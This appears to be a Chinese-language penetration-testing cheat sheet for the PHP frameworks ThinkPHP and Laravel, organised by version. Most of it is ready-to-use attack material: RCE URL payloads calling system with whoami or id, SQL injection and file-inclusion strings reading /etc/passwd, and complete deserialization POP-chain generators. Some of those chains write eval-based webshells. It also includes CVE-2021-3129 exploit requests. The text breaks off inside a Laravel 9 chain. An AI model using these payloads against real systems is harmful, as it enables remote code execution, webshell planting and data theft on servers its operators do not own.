CMS

网站识别:https://www.wappalyzer.com/

Exploit Database: https://www.exploit-db.com/

PHPGGC: https://github.com/ambionics/phpggc


对比源码:diff -r DirA DirB

ThinkPHP

  • 版本

    关键字:THINK_VERSION

  • 日志

    默认形式:如 /202110/11.log(/年月/日.log)

  • 控制器

    驼峰命名法控制器如 M1sakaM1yuu,在ThinkPHP官方文档中,访问的正确方式应该是index/m1saka_m1yuu/index,中间使用下划线隔开,但是兼容了index/M1sakaM1yuu/index这样的访问方式,新官方补丁修复后,不允许路由中存在大写字母。

  • 2.x

    • 2.x

      • RCE

        index.php?s=/index/index/name/${phpinfo()}

  • 3.2.x

    日志:<domain>/Application/Runtime/Logs/Home/21_04_27.log

    • 通用

      • SQL注入+文件读取+反序列化

        ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

      • RCE / LFI

        ThinkPHP3.2.x RCE漏洞通报

        如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

        debug模式关

        index.php?m=--><?=phpinfo();?>

        LFI:

        index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log

        index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log

        debug模式开

        index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

        LFI:

        index.php?m=Home&c=Index&a=index&value[filename]=./Application/Runtime/Logs/Home/21_06_30.log

        index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log

        限定条件下参数的收集(替换变量名)

        param/name/value/array/arr/info/list/page/menus/var/data/moudle/module

    • 3.2.3

      • SQL注入

        index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23

        index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) %23

        index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

        index.php?m=Home&c=Index&a=sqlvul2&order[updatexml(1,concat(0x3a,user()),1)]

      • 变量覆盖

        empty($_content)?include $templateFile:eval('?>'.$_content);

      • 反序列化+SQL注入

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        <?php
        namespace Think\Image\Driver;
        use Think\Session\Driver\Memcache;
        class Imagick{
        private $img;
        public function __construct(){
        $this->img = new Memcache();
        }
        }

        namespace Think\Session\Driver;
        use Think\Model;
        class Memcache {
        protected $handle;
        public function __construct(){
        $this->sessionName=null;
        $this->handle= new Model();
        }
        }

        namespace Think;
        use Think\Db\Driver\Mysql;
        class Model{
        protected $pk;
        protected $options;
        protected $data;
        protected $db;
        public function __construct(){
        $this->options['where']='';
        $this->pk='x';
        $this->data[$this->pk]=array(
        "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
        "where"=>"1=1"
        );
        $this->db=new Mysql();
        }
        }
        namespace Think\Db\Driver;
        use PDO;
        class Mysql{
        protected $options ;
        protected $config ;
        public function __construct(){
        $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true ); // 开启才能读取文件
        $this->config= array(
        "debug" => 1,
        "database" => "mysql",
        "hostname" => "127.0.0.1",
        "hostport" => "3306",
        "charset" => "utf8",
        "username" => "root",
        "password" => "root"
        );
        }
        }

        use Think\Image\Driver\Imagick;
        echo base64_encode(serialize(new Imagick()));
  • 5.0.x

    • 通用

    • 5.0.7<=ver<=5.0.22

      • 未开启强制路由RCE

        ?s=index/think\config/get&name=database.username

        ?s=index/think\config/get&name=database.password

        ?s=index/\think\Lang/load&file=../../test.jpg

        ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

        ?s=index POST: _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

        ?s=index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami

    • <5.0.23

      ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析

      • RCE

        index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

        index.php?s=captcha POST: _method=__construct&filter[]=system&method=GET&get[]=whoami

        index.php?s=index/index POST: _method=__construct&filter[]=system&method=GET&get[]=whoami

      • 任意文件包含

        index.php?s=captcha POST: _method=__construct&method=GET&filter[]=think__include_file&server[]=1&get[]=/etc/passwd

    • <5.0.12

      • RCE

        index.php?s=index/index POST: _method=__construct&filter[]=system&method=POST&s=whoami

    • 5.0.21-5.0.23

      • RCE

        index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

    • 5.0.24

      • 反序列化

        ThinkPHP v5.0.x 反序列化利用链挖掘

        生成phar:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        65
        66
        67
        68
        69
        70
        71
        72
        73
        74
        75
        76
        77
        78
        79
        80
        81
        82
        83
        84
        85
        86
        87
        88
        89
        90
        91
        92
        93
        94
        95
        96
        97
        98
        99
        100
        101
        102
        103
        104
        105
        106
        107
        108
        109
        110
        111
        112
        113
        114
        115
        116
        117
        118
        119
        120
        121
        122
        123
        124
        125
        <?php
        namespace think\process\pipes {
        class Windows {
        private $files = [];

        public function __construct($files)
        {
        $this->files = [$files];
        }
        }
        }

        namespace think {
        abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
        $this->parent = $output;
        $this->append = array("xxx"=>"getError");
        $this->error = $modelRelation;
        }
        }
        }

        namespace think\model{
        use think\Model;
        class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
        parent::__construct($output, $modelRelation);
        }
        }
        }

        namespace think\model\relation{
        class HasOne extends OneToOne {

        }
        }
        namespace think\model\relation {
        abstract class OneToOne
        {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
        $this->selfRelation = 0;
        $this->query = $query; //$query指向Query
        $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
        }
        }

        namespace think\db {
        class Query {
        protected $model;

        function __construct($model)
        {
        $this->model = $model; //$this->model=> think\console\Output;
        }
        }
        }
        namespace think\console{
        class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
        $this->styles = ['getAttr'];
        $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

        }
        }
        namespace think\session\driver {
        class Memcached
        {
        protected $handler;

        function __construct($handle)
        {
        $this->handler = $handle; //$handle->think\cache\driver\File
        }
        }
        }

        namespace think\cache\driver {
        class File
        {
        protected $options=null;
        protected $tag;

        function __construct(){
        $this->options=[
        'expire' => 3600,
        'cache_subdir' => false,
        'prefix' => '',
        'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/',
        'data_compress' => false,
        ];
        $this->tag = 'xxx';
        }

        }
        }

        namespace {
        $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
        $Output = new think\console\Output($Memcached);
        $model = new think\db\Query($Output);
        $HasOne = new think\model\relation\HasOne($model);
        $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));

        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata($window);
        $phar->addFromString("test.txt", "test");
        $phar->stopBuffering();
        }
  • 5.1.x

    • 通用

      • 未开启强制路由RCE

        ?s=index/\think\Request/input&filter[]=system&data=pwd

        ?s=index/\think\request/input?data[]=-1&filter=phpinfo

        ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

        ?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>

        ?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('whoami'); ?>

        ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

        ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

        ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

        ?s=/index/\think\request/cache&key=1|phpinfo

        ?s=/index/\think\request/cache&key=ls|system

      • 任意文件删除

        存在位置:\thinkphp\library\think\process\pipes\Windows.php

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        <?php
        namespace think\process\pipes;
        class Pipes {}
        class Windows extends Pipes {
        private $files = [];
        public function __construct() {
        $this->files = ['tmp.txt'];
        }
        }
        echo base64_encode(serialize(new Windows()));
- 文件包含

  Thinkphp 多语言功能导致的任意文件包含

  `?lang=../../../../../public/index`

  http://tttang.com/archive/1865/
  • 5.1.31

    • RCE

      index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

  • 5.1.38

    • 反序列化

      thinkPHP5.1整理

      index.php?sss=whoami POST: data=xxxxxx

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      <?php
      namespace think;
      abstract class Model{
      protected $append = [];
      private $data = [];
      function __construct(){
      $this->append = ["sss"=>["calc.exe","calc"]];
      $this->data = ["sss"=>new Request()];
      }
      }
      class Request
      {
      protected $hook = [];
      protected $filter = "system";
      protected $config = [
      // 表单ajax伪装变量
      'var_ajax' => '_ajax',
      ];
      function __construct(){
      $this->filter = "system";
      $this->config = ["var_ajax"=>'lin'];
      $this->hook = ["visible"=>[$this,"isAjax"]];
      }
      }


      namespace think\process\pipes;

      use think\model\concern\Conversion;
      use think\model\Pivot;
      class Windows
      {
      private $files = [];

      public function __construct()
      {
      $this->files=[new Pivot()];
      }
      }
      namespace think\model;

      use think\Model;

      class Pivot extends Model
      {
      }
      use think\process\pipes\Windows;
      echo urlencode(serialize(new Windows()));
      ?>
  • 6.0.x

    • 通用

      • 反序列化

        ThinkPHP V6.0.x 反序列化漏洞

        a.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        <?php
        namespace think\model\concern;

        trait Attribute{
        private $data;
        private $withAttr;
        }
        trait ModelEvent{
        protected $withEvent;
        }

        namespace think;

        abstract class Model{
        use model\concern\Attribute;
        use model\concern\ModelEvent;
        private $exists;
        private $force;
        private $lazySave;
        protected $suffix;
        function __construct($a = '')
        {
        $func = function(){phpinfo();};
        $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['x'=>''];

        $c=unserialize($b);
        $this->withAttr=['x'=>$c];
        }
        }

        namespace think\model;
        use think\Model;
        class Pivot extends Model{}
        require 'closure/autoload.php';
        echo urlencode(serialize(new Pivot(new Pivot())));

        b.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        <?php

        namespace think\model\concern;

        trait Attribute
        {
        private $data = ["key" => ["key1" => "whoami"]];
        private $withAttr = ["key"=>["key1"=>"system"]];
        protected $json = ["key"];
        }
        namespace think;

        abstract class Model
        {
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $table;
        protected $jsonAssoc;
        function __construct($obj = '')
        {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
        }
        }

        namespace think\model;

        use think\Model;

        class Pivot extends Model{}
        $a = new Pivot();
        $b = new Pivot($a);

        echo urlencode(serialize($b));
      • 文件包含

        Thinkphp 多语言功能导致的任意文件包含,版本要求 ThinkPHP v6.0.1 <= v6.0.x <= v6.0.13

        ?lang=../../../../../public/index

        http://tttang.com/archive/1865/

      • 其他

        tp6.0.8反序列化漏洞分析

        a.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        <?php
        namespace League\Flysystem\Cached\Storage;
        abstract class AbstractCache {
        }
        namespace think\cache;
        use think\cache\Driver;
        abstract class Driver {
        }
        namespace think\cache\driver;
        use think\cache\driver;
        class File extends Driver {
        protected $options = [];
        public function __construct() {
        $this->options = [
        'expire' => 0,
        'cache_subdir' => false,
        'prefix' => '',
        'path' => '',
        'hash_type' => 'md5',
        'data_compress' => false,
        'tag_prefix' => 'tag:',
        'serialize'=> ['system']
        ];
        }
        }
        namespace think\filesystem;
        use League\Flysystem\Cached\Storage\AbstractCache;
        class CacheStore extends AbstractCache {
        protected $store;
        protected $key;
        protected $autosave;
        protected $complete;
        public function __construct($store) {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = '`sleep 10`';
        $this->store = $store;
        }
        }
        use think\cache\driver\file;
        $a = new CacheStore(new File());
        echo serialize($a);
        echo "</br>";
        echo urlencode(serialize($a));
        ?>

        b.

        https://www.heibai.org/1604.html
        https://www.cnblogs.com/20175211lyz/p/13639789.html
        https://new.qq.com/omn/20200629/20200629A0RG1800.html

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        <?php
        namespace League\Flysystem\Cached\Storage;
        abstract class AbstractCache {
        }
        namespace think\cache;
        use think\cache\Driver;
        abstract class Driver {
        }
        namespace think\cache\driver;
        use think\cache\driver;
        class File extends Driver {
        protected $options = [];
        public function __construct() {
        $this->options = [
        'expire' => 0,
        'cache_subdir' => false,
        'prefix' => '',
        'path' => 'php://filter/write=convert.base64-
        decode/resource=./',
        'hash_type' => 'md5',
        'data_compress' => false,
        'tag_prefix' => 'tag:',
        'serialize'=> ['trim'] //使用trim去掉[]
        ];
        }
        }
        namespace think\filesystem;
        use League\Flysystem\Cached\Storage\AbstractCache;
        class CacheStore extends AbstractCache {
        protected $store;
        protected $key;
        protected $autosave;
        protected $complete;
        public function __construct($store) {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
        $this->store = $store;
        }
        }
        use think\cache\driver\file;
        $a = new CacheStore(new File());
        echo serialize($a);
        echo "</br>";
        echo urlencode(serialize($a));
        ?>

        c.

        https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        /**
        * @Author ying
        * @Date 8/20/2021 5:01 PM
        * @Version 1.0
        */
        namespace League\Flysystem\Cached\Storage {
        use League\Flysystem\Adapter\Local;
        class Adapter {
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;
        public function __construct() {
        $this->autosave = false;
        $this->expire = '<?php eval($_POST[1]);?>';
        $this->adapter = new Local();
        $this->file = 'yq1ng.php';
        }
        }
        }
        namespace League\Flysystem\Adapter {
        class Local {
        }
        }
        namespace {
        use League\Flysystem\Cached\Storage\Adapter;
        echo urlencode(serialize(new Adapter()));
        }

Laravel

  • 版本

    vendor/laravel/framework/src/Illuminate/Foundation/Application.php

  • 5.1

    • 5.1.x

      • 反序列化+RCE

        a.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        <?php
        namespace{
        use Mockery\Generator\DefinedTargetClass;
        class Swift_KeyCache_DiskKeyCache{
        private $_keys=['bit'=>array('bit'=>'bit')];
        private $_path;
        public function __construct($cmd){
        $this->_path=new DefinedTargetClass($cmd);
        }
        }
        echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
        }
        namespace Mockery\Generator{
        use Faker\ValidGenerator;
        class DefinedTargetClass
        {
        private $rfc;
        public function __construct($cmd)
        {
        $this->rfc=new ValidGenerator($cmd);
        }
        }
        }
        namespace Faker{
        class DefaultGenerator{
        protected $default;
        public function __construct($cmd)
        {
        $this->default = $cmd;
        }
        }
        class ValidGenerator
        {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($cmd){
        $this->generator=new DefaultGenerator($cmd);
        $this->maxRetries=9;
        $this->validator='system';
        }
        }
        }

        b.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        <?php
        namespace{
        use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
        class Swift_KeyCache_DiskKeyCache{
        private $_keys=['bit'=>array('bit'=>'bit')];
        private $_path;
        public function __construct($cmd){
        $this->_path=new Deprecated($cmd);
        }
        }
        echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
        }
        namespace phpDocumentor\Reflection\DocBlock\Tags{
        use Illuminate\Database\DatabaseManager;
        abstract class BaseTag{
        protected $description;
        }
        final class Deprecated extends BaseTag{
        public function __construct($cmd){
        $this->description=new DatabaseManager($cmd);
        }
        }
        }
        namespace Illuminate\Database{
        class DatabaseManager{
        protected $app;
        protected $extensions ;
        public function __construct($cmd)
        {
        $this->app['config']['database.default']=$cmd;
        $this->app['config']['database.connections']=array($cmd=>'system');
        $this->extensions[$cmd]='call_user_func';
        }
        }
        }

        c.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        65
        66
        67
        68
        69
        <?php
        namespace{
        use Prophecy\Argument\Token\ObjectStateToken;
        class Swift_KeyCache_DiskKeyCache{
        private $_keys=['bit'=>array('bit'=>'bit')];
        private $_path;
        public function __construct($cmd){
        $this->_path=new ObjectStateToken($cmd);
        }
        }
        echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache($argv[1])));
        }
        namespace Prophecy\Argument\Token{
        use Mockery\Generator\MockDefinition;
        use Illuminate\Validation\Validator;
        class ObjectStateToken{
        private $name;
        private $value;
        private $util;
        public function __construct($cmd){
        $this->name='bit';
        $this->value=new MockDefinition($cmd);
        $this->util=new Validator();
        }
        }
        }

        namespace Illuminate\Validation{
        use Faker\DefaultGenerator;
        class Validator{
        protected $container;
        protected $extensions = [];
        public function __construct(){
        $this->extensions['y']='xxx@load';
        $this->container=new DefaultGenerator();
        }
        }
        }
        namespace Faker{
        use Mockery\Loader\EvalLoader;
        class DefaultGenerator
        {
        protected $default;

        public function __construct()
        {
        $this->default = new EvalLoader();
        }
        }
        }
        namespace Mockery\Loader{
        class EvalLoader{}
        }
        namespace Mockery\Generator{
        use Illuminate\Session\Store;
        class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($cmd){
        $this->config=new Store();
        $this->code=$cmd;
        }
        }
        }
        namespace Illuminate\Session{
        class Store{
        protected $name='bit';//类不存在就行
        }
        }
  • 5.4.x

    • 5.4.30

      • 反序列化(5.4-5.8)

        Laravel5.4 反序列化漏洞挖掘

        a.

        Illuminate/Support/Manager.php::__call -> driver() -> Illuminate/Notifications/ChannelManager.php

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        <?php
        namespace Illuminate\Broadcasting
        {
        use Illuminate\Notifications\ChannelManager;
        class PendingBroadcast
        {
        protected $events;

        public function __construct($cmd)
        {
        $this->events = new ChannelManager($cmd);
        }
        }
        echo base64_encode(serialize(new PendingBroadcast($argv[1])));
        }


        namespace Illuminate\Notifications
        {
        class ChannelManager
        {
        protected $app;
        protected $defaultChannel;
        protected $customCreators;

        public function __construct($cmd)
        {
        $this->app = $cmd;
        $this->customCreators = ['x' => 'system'];
        $this->defaultChannel = 'x';
        }
        }
        }

        b.

        Illuminate/Validation/Validator.php::__call

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        <?php
        namespace Illuminate\Broadcasting
        {
        use Illuminate\Validation\Validator;
        class PendingBroadcast
        {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
        $this->events = new Validator();
        $this->event=$cmd;
        }
        }
        echo base64_encode(serialize(new PendingBroadcast($argv[1])));
        }


        namespace Illuminate\Validation
        {
        class Validator
        {
        public $extensions = [''=>'system'];
        }
        }

        c.

        Illuminate/Events/Dispatcher.php

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        <?php
        namespace Illuminate\Broadcasting
        {
        use Illuminate\Events\Dispatcher;
        class PendingBroadcast
        {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
        $this->events = new Dispatcher($cmd);
        $this->event=$cmd;
        }
        }
        echo base64_encode(serialize(new PendingBroadcast($argv[1])));
        }


        namespace Illuminate\Events
        {
        class Dispatcher
        {
        protected $listeners;
        public function __construct($event){
        $this->listeners=[$event=>['system']];
        }
        }
        }

        d.

        Illuminate/Bus/Dispatcher.php

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        <?php
        namespace Illuminate\Bus{
        class Dispatcher{
        protected $queueResolver;

        public function __construct(){
        $this->queueResolver = "system";
        }
        }
        }
        namespace Illuminate\Broadcasting{
        use Illuminate\Bus\Dispatcher;
        class BroadcastEvent{
        public $connection;

        public function __construct($cmd){
        $this->connection = $cmd;
        }
        }
        class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($event){
        $this->events = new Dispatcher();
        $this->event = new BroadcastEvent($event);
        }
        }
        echo base64_encode(serialize(new PendingBroadcast($argv[1])));
        }
        ?>

        e.

        Mockery/Loader/EvalLoader.php

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        <?php
        namespace Illuminate\Bus{
        use Mockery\Loader\EvalLoader;
        class Dispatcher{
        protected $queueResolver;

        public function __construct(){
        $this->queueResolver = [new EvalLoader(),'load'];
        }
        }
        }
        namespace Illuminate\Broadcasting{
        use Illuminate\Bus\Dispatcher;
        use Mockery\Generator\MockDefinition;
        class BroadcastEvent{
        public $connection;

        public function __construct($code){
        $this->connection = new MockDefinition($code);
        }
        }
        class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($event){
        $this->events = new Dispatcher();
        $this->event = new BroadcastEvent($event);
        }
        }
        echo base64_encode(serialize(new PendingBroadcast($argv[1])));
        }
        namespace Mockery\Loader{
        class EvalLoader{}
        }
        namespace Mockery\Generator{
        use Illuminate\Session\Store;
        class MockDefinition{
        protected $config;
        protected $code;
        public function __construct($code){
        $this->config=new Store();
        $this->code=$code;
        }
        }
        }
        namespace Illuminate\Session{
        class Store{
        protected $name='x';//类不存在
        }
        }
        ?>
  • 5.7.x

    • 5.7.29

      • 反序列化+RCE

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        //不用PendingCommand.php
        <?php
        namespace Symfony\Component\Routing\Loader\Configurator {
        class ImportConfigurator
        {
        private $parent;
        public function __construct($parent)
        {
        $this->parent = $parent;
        }
        }
        }

        namespace Faker {
        class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
        $this->default = $default;
        }
        public function __call($method, $attributes)
        {
        return $this->default;
        }
        }
        class ValidGenerator
        {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct($validator,$generator)
        {
        $this->generator = new DefaultGenerator($generator);
        $this->validator = $validator;
        $this->maxRetries = 1;
        }

        public function __call($name, $arguments)
        {
        $i = 0;
        do {
        $res = call_user_func_array(array($this->generator, $name), $arguments);
        $i++;
        if ($i > $this->maxRetries) {
        throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
        } while (!call_user_func($this->validator, $res));

        return $res;
        }
        }
        }

        namespace {
        $a = new Faker\ValidGenerator("system","cat /flag");
        $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a);
        echo urlencode(serialize($b));
        }
  • 7.x

    • 7.30

      • 反序列化+RCE

        a.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        <?php
        namespace Illuminate\Routing{
        use Illuminate\Validation\Validator;
        class PendingResourceRegistration
        {
        protected $registrar;
        protected $registered = false;
        protected $name='call_user_func';
        protected $controller='system';
        protected $options;
        public function __construct($cmd){
        $this->registrar=new Validator();
        $this->options=$cmd;
        }
        }
        echo urlencode(serialize(new PendingResourceRegistration($argv[1])));
        }
        namespace Illuminate\Validation{
        class Validator{
        public $extensions = [];
        public function __construct(){
        $this->extensions['']='call_user_func';
        }
        }
        }

        b.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        <?php
        namespace Illuminate\Routing{
        use Illuminate\View\InvokableComponentVariable;
        class PendingResourceRegistration
        {
        protected $registrar;
        protected $registered = false;
        public function __construct(){
        $this->registrar=new InvokableComponentVariable();
        }
        }
        echo urlencode(serialize(new PendingResourceRegistration()));
        }
        namespace Illuminate\View{
        use PHPUnit\Framework\MockObject\MockClass;
        class InvokableComponentVariable{
        protected $callable;
        public function __construct(){
        $this->callable=array(new MockClass(),'generate');
        }
        }
        }
        namespace PHPUnit\Framework\MockObject{
        class MockClass{
        private $classCode;
        private $mockName;
        private $configurableMethods;
        public function __construct(){
        $this->classCode='eval($_POST["cmd"]);';
        $this->mockName='bit';
        $this->configurableMethods='bit';
        }
        }
        }
  • 8.x

    • 8.26.1

      • RCE

        CVE-2021-3129

        当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        POST /_ignition/execute-solution HTTP/1.1
        Host: 192.168.160.130:8077
        Content-Type: application/json
        Content-Length: 168
        {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
        "variableName": "username",
        "viewFile": "xxxxxxx"
        }
        }

        页面出现了Ignition的报错,说明漏洞存在,且开启了debug模式。

        使用如下数据包清除日志文件:

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        POST /_ignition/execute-solution HTTP/1.1
        Host: 192.168.160.130:8077
        Content-Type: application/json
        Content-Length: 328
        {
        "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
        "parameters": {
        "variableName": "username",
        "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
        }
        }
  • 9.x

    • 9.1.8

      • 反序列化+RCE

        https://github.com/1nhann/vulns/issues

        a.

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        <?php
        namespace Illuminate\Contracts\Queue{
        interface ShouldQueue
        {
        }
        }

        namespace Illuminate\Bus{
        class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
